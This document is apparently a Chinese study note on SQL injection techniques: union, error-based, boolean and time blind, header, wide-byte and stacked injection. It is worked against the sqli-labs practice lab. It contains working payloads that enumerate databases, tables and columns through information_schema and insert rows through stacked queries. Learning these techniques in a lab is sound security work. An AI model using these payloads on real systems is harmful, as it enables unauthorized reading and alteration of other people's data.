目录
字符型、数字型sql注入
名称
schema_name 库名
table_name 表名
column_name 列名
information_schema.schemata 该表存有所有库名
information_schema.tables
information_schema.columns
table_schema='' 库
方法
1、判断注入类型及闭合方式
?id =1 and 1=2
?id=1/
2、判断回显位
3、联合注入
例子:sqli-Less3
1、判断注入类型及闭合方式
http://localhost/sqli/Less-3/?id=1 正常
http://localhost/sqli/Less-3/?id=1'' 正常
http://localhost/sqli/Less-3/?id=1''--= 正常
判断为字符型:
闭合方式:')
2、判断回显位
3、联合注入
查库:
?id=1') and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
查表:
?id=1') and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test'--+
查列:
?id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查列内容:
报错注入
利用报错信息,结合函数规则进行数据读取的一种注入攻击
场景:没有回显点,但有报错信息时则可以使用报错注入
常用函数
updatexml() -- 更新xml文档函数
语法:updatexml(目标xml内容,xml文件路径,更新的内容)
extractvalue() -- 对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml路径是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
原理:
SQL报错注入的应用:当使用updatexml(xml_target, xpath_expr, new_xml)函数时,若xpath_expr参数不符合xpath格式,就会报错。
而~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。
例子:sqli-Less6
1、闭合方式:"
2、无回显位
3、注入
3.1
3.2
库、表、列、内容
?id=1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
http://localhost/sqli/Less-6/?id=1%22%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27),0x7e))--+
内容
盲注
所谓盲注就是在服务器没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”
常用函数
length() 函数 返回字符串的长度
substr() 截取字符串
substr(str,m,n) m 从第m个字符开始截取 n 截取后字符串长度为n
concat() 字符串拼接函数
ascii() 返回字符的ascii码 [将字符变为数字]
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
布尔盲注
页面有回显,但是不会显示具体的内容
只会根据传参信息返回true和false
例子
Less-8
时间盲注
传参任何东西返回结果都一样
页面返回值只有一种,true,无论输入任何值,返回情况都会按照正常的进行处理
加入特定的时间函数,通过查看web页面返回的时间差来判断注入语句是否正确
例子
Less-9
U-A、cookie注入
例子
Less-18
我们先试一下User-Agent,在它的最后加一个单引号看看。
分析报错信息
关键信息:'127.0.0.1','admin')'
分析它的闭合方式是**('User-Agent','IP','Username')'
宽字节注入
原理:
常见的宽字节:GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节。
如果使用了类似于 set names gbk 这样的语句,既MySQL 在使用 GBK 编码的时候,mysql 数据库就会将 Ascii 大于等于128(%df)的字符当作是汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如 %aa%5c 就是一个 汉字。
这种情况下如果我们想去掉sql语句中的一个字节,那么我们在想去的字节前加上一个Ascii 大于等于128(%df)的字节就行了。自己加的字节和想去掉的那个字节会被合起来解析成为汉字。
应用:
因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。具体利用的话我们可以用%df 吃掉 \(%5c)
因为urlencode(\') = %5c%27,如果我们在 %5c%27前面添加 %df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c当做是一个汉字,%27(单引号)则作为一个单独的符号在外面,同时也就达到了我们的目的。
例子:
sqli-Less32
堆叠注入
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
原理:使用前提:堆叠注入使用的条件很苛刻,会受到API以及数据库引擎,或者是权限的限制。只有当调用数据库的函数支持执行多条SQL语句的时候才可以使用。例如 mysqli_multi_query() 函数就支持多条SQL语句同时执行,而 mysqli_query() 函数就不支持。在实际应用中,大多数都使用的是 mysqli_query() 函数,所以能使用堆叠注入的说明该网站做的很不成功,因为堆叠注入的爆破效果太好了。一般PHP搭建的网站为了防止SQL注入都会使用 mysqli_query() 函数。
例子
sqli-Less 38
向emails 表中插入 id=1001;email_id=haha 的数据
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';insert into emails(id,email_id) values(‘1001',‘hello') --+